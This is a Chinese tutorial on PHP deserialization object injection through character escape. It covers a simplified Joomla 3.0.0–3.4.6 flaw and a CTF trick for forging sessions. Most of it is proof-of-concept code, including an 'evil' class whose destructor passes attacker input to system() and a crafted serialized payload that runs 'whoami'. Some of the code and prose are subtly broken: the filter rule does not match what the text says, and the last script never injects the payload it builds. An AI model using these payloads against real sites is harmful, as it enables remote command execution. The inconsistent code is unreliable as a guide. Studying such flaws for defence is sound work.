1.漏洞产生原因:
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题
<?php function filter($string){ $a = str_replace('x','zz',$string); return $a; } $username = "tr1ple"; $password = "aaaaax"; $user = array($username, $password); echo(serialize($user)); echo "\n"; $r = filter(serialize($user)); echo($r); echo "\n"; var_dump(unserialize($r)); $a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";'; var_dump(unserialize($a));
此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值
$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值 $password="aaaaa"; $user = array($username, $password); echo(serialize($user)); echo "\n"; $r = filter(serialize($user)); echo($r); echo "\n"; var_dump(unserialize($r));
2.实例分析
joomla3.0.0-3.4.6 对象注入导致的反序列化,以下为参考别人的简易化核心漏洞代码
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data); } function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; } if(file_exists("dbs.txt")){ unlink("dbs.txt"); } $username = "tr1ple"; $password = "A"; $payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
在这里如果想要通过注入对象来实现反序列化则必须在外部对象内进行注入存在的属性,不能在其外部,否则php将不会进行我们注入恶意对象的反序列化
例如此时因为反序列化读取的时候将会将六位字符\0\0\0替换成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那么s对应的字符串变少以后将会吞掉其他属性的字符,那么如果我们精心算好吞掉的字符长度,并且能够控制被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类
比如如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0,来吞掉password的值,比如
<?php $a='\0\0\0'; echo strlen($a); $b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a); echo strlen($b);
即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可
<?php class evil{ public $cmd; public function __construct($cmd){ $this->cmd = $cmd; } public function __destruct(){ system($this->cmd); } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data); } function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; } if(file_exists("dbs.txt")){ unlink("dbs.txt"); } $username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = "A"; $payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
执行结果如上图所示,将成功反序列化password属性所对应的值,其值即为我们注入的对象,整个过程也容易理解,就是吞掉后面的属性来注入属性,那么达到攻击有以下要求:
1.相邻两个属性的值是我们可以控制的
2.前一个属性的s长度可以发生变化,变长变短都可以,变短的话可以吞掉后面相邻属性的值,然后在相邻属性中注入新的对象,如果边长则可以直接在该属性中注入对象来达到反序列化
比如XNUCA2018 hardphp就考察了一个这个相关的trick
这里就出现了用前面的data在反序列化时向后吞一位字符,从而可以导致吞掉后面的普通用户的username字段,而在username字段可以放上我们想要伪造的username,从而达到伪造session的目的
更多PHP相关知识,请访问PHP中文网!
以上就是PHP字符逃逸导致的对象注入详解的详细内容,更多请关注Gxlcms其它相关文章!
查看更多关于PHP字符逃逸导致的对象注入详解的详细内容...